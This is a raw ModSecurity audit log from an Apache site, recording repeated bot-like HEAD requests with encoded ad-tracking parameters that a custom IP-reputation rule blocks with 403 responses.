HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5ece7841-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5ece7841-E--

--5ece7841-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272530611791 7941 (- - -)
Stopwatch2: 1789272530611791 7941; combined=5981, p1=410, p2=5166, p3=100, p4=9, p5=295, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ece7841-Z--

--8b6dd162-A--
[13/Sep/2026:07:08:50.948853 +0300] aqYh0kwu1RSkptiiNIXvSgAAAJA 46.203.158.22 47940 127.0.0.1 7081
--8b6dd162-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--8b6dd162-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8b6dd162-E--

--8b6dd162-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272530940676 8225 (- - -)
Stopwatch2: 1789272530940676 8225; combined=5731, p1=441, p2=4891, p3=82, p4=9, p5=308, sr=200, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8b6dd162-Z--

--72b64d78-A--
[13/Sep/2026:07:08:51.247738 +0300] aqYh0zTJ6xTvcJoem7f2QwAAAFY 46.203.158.181 47948 127.0.0.1 7081
--72b64d78-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--72b64d78-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--72b64d78-E--

--72b64d78-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272531240120 7660 (- - -)
Stopwatch2: 1789272531240120 7660; combined=5725, p1=302, p2=4915, p3=90, p4=10, p5=386, sr=132, sw=22, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72b64d78-Z--

--1964bd58-A--
[13/Sep/2026:07:08:56.785984 +0300] aqYh2GM7dE9KgIIOpQhg6gAAAMg 91.124.31.155 59594 127.0.0.1 7081
--1964bd58-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.155
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--1964bd58-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1964bd58-E--

--1964bd58-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272536776160 9867 (- - -)
Stopwatch2: 1789272536776160 9867; combined=6294, p1=882, p2=5049, p3=80, p4=9, p5=273, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1964bd58-Z--

--6f151b2e-A--
[13/Sep/2026:07:08:57.093663 +0300] aqYh2Uwu1RSkptiiNIXvTAAAAJM 46.203.158.48 59598 127.0.0.1 7081
--6f151b2e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6f151b2e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6f151b2e-E--

--6f151b2e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272537087458 6252 (- - -)
Stopwatch2: 1789272537087458 6252; combined=4599, p1=321, p2=3934, p3=69, p4=6, p5=269, sr=163, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6f151b2e-Z--

--a76f523b-A--
[13/Sep/2026:07:08:57.372347 +0300] aqYh2Uwu1RSkptiiNIXvTQAAAI0 91.124.31.252 59602 127.0.0.1 7081
--a76f523b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--a76f523b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a76f523b-E--

--a76f523b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272537364777 7613 (- - -)
Stopwatch2: 1789272537364777 7613; combined=5399, p1=886, p2=4154, p3=79, p4=7, p5=272, sr=122, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a76f523b-Z--

--2065b47d-A--
[13/Sep/2026:07:09:19.681950 +0300] aqYh72M7dE9KgIIOpQhg7QAAANU 95.134.102.36 51216 127.0.0.1 7081
--2065b47d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--2065b47d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2065b47d-E--

--2065b47d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272559676314 5695 (- - -)
Stopwatch2: 1789272559676314 5695; combined=4279, p1=305, p2=3581, p3=68, p4=6, p5=319, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2065b47d-Z--

--aa383d12-A--
[13/Sep/2026:07:09:20.051024 +0300] aqYh8GM7dE9KgIIOpQhg7gAAANI 151.243.174.45 51228 127.0.0.1 7081
--aa383d12-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.45
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--aa383d12-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--aa383d12-E--

--aa383d12-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272560041829 9280 (- - -)
Stopwatch2: 1789272560041829 9280; combined=6957, p1=459, p2=5768, p3=90, p4=10, p5=630, sr=216, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aa383d12-Z--

--38b69053-A--
[13/Sep/2026:07:09:20.416752 +0300] aqYh8GM7dE9KgIIOpQhg7wAAANY 151.243.174.114 51242 127.0.0.1 7081
--38b69053-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.114
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--38b69053-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--38b69053-E--

--38b69053-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272560411255 5551 (- - -)
Stopwatch2: 1789272560411255 5551; combined=3993, p1=213, p2=3447, p3=62, p4=7, p5=264, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--38b69053-Z--

--a556927e-A--
[13/Sep/2026:07:13:30.333294 +0300] aqYi6mM7dE9KgIIOpQhhAwAAAMc 46.203.158.83 33400 127.0.0.1 7081
--a556927e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a556927e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a556927e-E--

--a556927e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272810323361 9998 (- - -)
Stopwatch2: 1789272810323361 9998; combined=6851, p1=1509, p2=4870, p3=81, p4=8, p5=383, sr=657, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a556927e-Z--

--f7df0865-A--
[13/Sep/2026:07:13:31.188925 +0300] aqYi60wu1RSkptiiNIXvXgAAAJE 46.203.158.51 33404 127.0.0.1 7081
--f7df0865-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.51
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f7df0865-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f7df0865-E--

--f7df0865-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272811177672 11315 (- - -)
Stopwatch2: 1789272811177672 11315; combined=7279, p1=785, p2=6057, p3=85, p4=8, p5=344, sr=633, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f7df0865-Z--

--423e2333-A--
[13/Sep/2026:07:13:32.514985 +0300] aqYi7GM7dE9KgIIOpQhhBAAAAM8 91.124.31.226 33416 127.0.0.1 7081
--423e2333-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.226
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--423e2333-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--423e2333-E--

--423e2333-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272812506472 8559 (- - -)
Stopwatch2: 1789272812506472 8559; combined=4502, p1=348, p2=3764, p3=69, p4=8, p5=313, sr=121, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--423e2333-Z--

--f3fa6f2a-A--
[13/Sep/2026:07:17:13.404286 +0300] aqYjyUwu1RSkptiiNIXvdAAAAJU 151.243.174.22 48480 127.0.0.1 7081
--f3fa6f2a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--f3fa6f2a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--f3fa6f2a-E--

--f3fa6f2a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273033397751 6581 (- - -)
Stopwatch2: 1789273033397751 6581; combined=4661, p1=287, p2=3993, p3=81, p4=9, p5=291, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f3fa6f2a-Z--

--1589e272-A--
[13/Sep/2026:07:17:13.828305 +0300] aqYjyUwu1RSkptiiNIXvdQAAAI4 95.134.102.156 48484 127.0.0.1 7081
--1589e272-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1589e272-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1589e272-E--

--1589e272-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273033811658 16709 (- - -)
Stopwatch2: 1789273033811658 16709; combined=7214, p1=1937, p2=4827, p3=141, p4=9, p5=300, sr=248, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1589e272-Z--

--05f94128-A--
[13/Sep/2026:07:17:14.164866 +0300] aqYjymM7dE9KgIIOpQhhKgAAAMg 151.243.174.180 48494 127.0.0.1 7081
--05f94128-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--05f94128-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--05f94128-E--

--05f94128-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273034157447 7461 (- - -)
Stopwatch2: 1789273034157447 7461; combined=5606, p1=366, p2=4814, p3=84, p4=9, p5=333, sr=132, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--05f94128-Z--

--131ccb0e-A--
[13/Sep/2026:07:17:23.355595 +0300] aqYj02M7dE9KgIIOpQhhLwAAAMQ 95.134.102.242 43394 127.0.0.1 7081
--131ccb0e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--131ccb0e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--131ccb0e-E--

--131ccb0e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273043347841 7837 (- - -)
Stopwatch2: 1789273043347841 7837; combined=5762, p1=314, p2=5019, p3=93, p4=8, p5=328, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--131ccb0e-Z--

--3cfdd83c-A--
[13/Sep/2026:07:17:23.714545 +0300] aqYj02M7dE9KgIIOpQhhMAAAANE 95.134.102.199 43400 127.0.0.1 7081
--3cfdd83c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.199
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3cfdd83c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3cfdd83c-E--

--3cfdd83c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273043706564 8091 (- - -)
Stopwatch2: 1789273043706564 8091; combined=6029, p1=309, p2=5275, p3=93, p4=10, p5=342, sr=133, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3cfdd83c-Z--

--2b5dd765-A--
[13/Sep/2026:07:17:24.082786 +0300] aqYj1GM7dE9KgIIOpQhhMQAAAME 151.243.174.201 43414 127.0.0.1 7081
--2b5dd765-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.201
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2b5dd765-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2b5dd765-E--

--2b5dd765-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273044069432 13473 (- - -)
Stopwatch2: 1789273044069432 13473; combined=10062, p1=1600, p2=7585, p3=192, p4=12, p5=672, sr=288, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2b5dd765-Z--

--90019c17-A--
[13/Sep/2026:07:19:47.827600 +0300] aqYkY2M7dE9KgIIOpQhhYQAAAMY 95.134.102.235 35906 127.0.0.1 7081
--90019c17-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.235
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--90019c17-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--90019c17-E--

--90019c17-H--
